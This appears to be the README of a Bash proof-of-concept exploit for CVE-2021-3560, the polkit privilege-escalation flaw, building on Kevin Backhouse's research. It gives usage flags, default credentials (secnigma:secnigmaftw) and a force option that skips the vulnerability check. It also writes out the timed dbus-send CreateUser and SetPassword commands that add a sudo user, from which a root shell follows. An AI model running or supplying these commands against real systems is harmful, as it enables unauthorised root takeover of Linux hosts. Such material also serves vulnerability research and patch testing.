CVE-2021-3560-Polkit-Privilege-Esclation PoC

Original research by Kevin Backhouse

This is just a Bash PoC script, that automates the exploitation steps mentioned in Kevin Backhouse's blog. Read his post on this vulnerability: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

Usage

USAGE:
     ./poc.sh
     -h --help
     -u=Enter custom username to insert (OPTIONAL)
     -p=Enter custom password to insert (OPTIONAL)
     -f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
     -t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
     Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms 
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'

Things to note:

  • This exploit works only on distributions that have installed accountsservice and gnome-control-center and it must have polkit version 0.113 (or later) OR 0-105-26 (Debian fork of polkit).
  • This exploit was tested on Ubuntu 20.04, with polkit version 0-105-26 (Debian fork of polkit) and Centos 8 with polkit version 0.115. If you are sure that your target is vulnerable, but the exploit's check function fails, use the -f=y flag to bypass all checks and force the exploit.
  • Distributions such as RHEL 8, Fedora 21, Debian testing ("bullseye") and Ubuntu 20.04 are found to be vulnerable.
  • A list of distribution compatibility can be found from Kevin's blog.
  • This script injects a new user in sudo group. If the exploit worked, we can login to the account using su - <username> with the password provided to the script, and then enter sudo bash to drop into a root shell!
  • Since this attack relies on precise timing, MULTIPLE TRIES ARE USUALLY REQUIRED for this exploit to work.
  • WARNING: DO NOT RUN THIS SCRIPT IN GRAPHICAL LOGIN!
  • If this script is run in a graphical login environment, the loop will keep popping the polkit authentication repeatedly. So, run this exploit only inside an SSH/NC shell.
  • If that ever happens, press Esc key to close the authentication prompt and Ctrl+C to terminate the script in a quick manner.

How the exploit works?

Comprehensive explanation and PoC to exploit this manually is given at the researcher's blog in detail.

TL;DR of this exploit is given below:

  • This attack requires precise timing and we have to login via SSH (or some command line session, where opening graphical applications are not an option).
  • An attacker can exploit this vulnerability by triggering polkit by sending a dbus message, but closing the request abruptly, while polkit is processing the request. Then the attacker can send a second request with the previoud request's unique bus identifier, to execute the request as UID 0 a.k.a root.
  • This vulnerability exists in polkit, because it treats the UID of a connection with a bus identifier that no longer exists, as a request from UID 0. Which means that, if we can time the attack correctly and terminate our first request at the right moment, then we can request the second request with the privileges of UID 0 a.k.a root.
  • The timing to terminate the connection is calculated as the time required to send the dbus-message / 2. Explained in detail here.

What actually does this script do?

Like I said before, this is just a bash script that automates Kevin Backhouse's PoC. The core commands are the same; I just automated some initial steps (like getting the timing right, scanning for vulnerability, custom credentials insertion, printing pretty colors etc).

If this script has been run without any parameter, then the default behaviour of this script is as follows:

  • Check the distribution type. [Using /etc/os-release file.]
  • Checks for installation of accountservice and gnome-control-center. [In rhel/centos/fedora, uses rpm -qa and in debian/ubuntu distributions, it uses dpkg -l].
  • If the installations are found, then the script checks of polkit version. [ 0.113 (or later) for rhel.centos,fedora and 0-105-26 for Debian/Ubuntu]
  • If polkit version is found to be vulnerable, the script starts exploitation
  • First, the script finds the time required to send the request using debus-send by issuing bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null
  • Then, the time to terminate the request ($t) is calculated by dividing the time required to request by 2. ($t=time-required-to-request/2) [Calculated using awk]
  • After the time ($t) is calculated, the request to insert the $username secnigma to the target is repeated 20 times. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $!
  • If the user insertion is succesful, [found using id secnigma], then a password hash is generated [using bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)
  • Then the password hash insertion command is executed for 20 times. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!